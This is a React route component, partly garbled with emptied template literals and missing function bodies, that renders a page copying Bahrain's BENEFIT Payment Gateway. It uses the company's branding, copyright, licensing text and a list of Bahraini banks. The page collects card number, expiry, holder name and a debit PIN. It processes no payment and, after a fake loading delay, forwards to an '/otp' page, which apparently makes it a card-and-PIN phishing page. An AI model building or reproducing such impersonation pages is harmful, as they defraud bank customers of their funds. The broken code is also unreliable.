const indexSearchSchema = z.object(); export const Route = createFileRoute("/")({ validateSearch: indexSearchSchema, head: () => ({ meta: [ , , , , ], }), component: Index, }); function formatDate(d: Date) { const pad = (n: number) => String(n).padStart(2, "0"); return $-$-$ $:$; } function Index() { const navigate = useNavigate(); const [showBanks, setShowBanks] = useState(false); const [showTerms, setShowTerms] = useState(false); const [now, setNow] = useState(""); const [card, setCard] = useState(""); const [mm, setMm] = useState(""); const [yyyy, setYyyy] = useState(""); const [holder, setHolder] = useState(""); const [showKeypad, setShowKeypad] = useState(false); const [pin, setPin] = useState(""); const [pad, setPad] = useState(() => ["1","2","3","4","5","6","7","8","9","0"]); const [loading, setLoading] = useState(false); useEffect(() => , []); const shufflePad = () => { const arr = ["1","2","3","4","5","6","7","8","9","0"]; for (let i = arr.length - 1; i > 0; i--) setPad(arr); }; const openKeypad = () => ; const acceptPin = () => setShowKeypad(false); const pressKey = (k: string) => setPin((p) => (p.length >= 6 ? p : p + k)); const backspace = () => setPin((p) => p.slice(0, -1)); const clearPin = () => setPin(""); const onPay = (e: React.FormEvent) => { e.preventDefault(); if (card.replace(/\D/g, "").length !== 16) setLoading(true); setTimeout( () => navigate({ to: "/otp", search: , }), 2000, ); }; const months = Array.from(, (_, i) => String(i + 1).padStart(2, "0")); const year = new Date().getFullYear(); const years = Array.from(, (_, i) => String(year + i)); return (

BENEFIT PAYMENT GATEWAY

عربي

TAP PAYMENTS

https://WWW.tap.company

Amount BHD 1

Card Type Debit

Card Number

Expiry Date

MM {months.map((m) => ( ))} YYYY {years.map((y) => ( ))}

Card Holders Name

PIN

{showKeypad && (

{pad.map((k) => ( ))}

< Clear Enter

)}

Pay Cancel

View Accepted Cards {showBanks && (

{BANKS.map((bank, i) => (
))}

)}

Note: By submitting your information and using “BENEFIT Payment Gateway”, you indicate that you agree to the Terms of Services - Legal Disclaimer .

Powered By The BENEFIT Company.

Copyright © 2020-2025 The BENEFIT Company. All Rights Reserved.

Licensed by Central Bank of Bahrain as Ancillary Service Provider.

); } const BANKS = [ "Ahli United Bank B.S.C.", "Al Baraka Islamic Bank B.S.C", "Al-Salam Bank - Bahrain B.S.C.", "Arab Bank Plc", "Bahrain Islamic Bank", "BANK OF BAHRAIN AND KUWAIT", "Citi Bank N. A.", "CREDIT LIBANAIS S.A.L", "Gulf International Bank B.S.C", "Habib Bank Limited", "HSBC Bank Middle East Limited", "ICICI Bank Limited", "ila Bank", "Ithmaar Bank B.S.C. (Closed)", "Khaleeji Commercial Bank B.S.C.", "Kuwait Finance House (Bahrain) B.S.C.( Closed)", "Mashreq Bank P.S.C", "National Bank Of Bahrain B.S.C.", "National Bank Of Kuwait S.A.K. / Commercial Branch", "Payment international Enterprise BSC (closed)", "Standard Chartered Bank", "STATE BANK OF INDIA (FOREIGN BRANCH)", "The Housing Bank For Trade And Finance - Jordan", "United Bank Limited", ];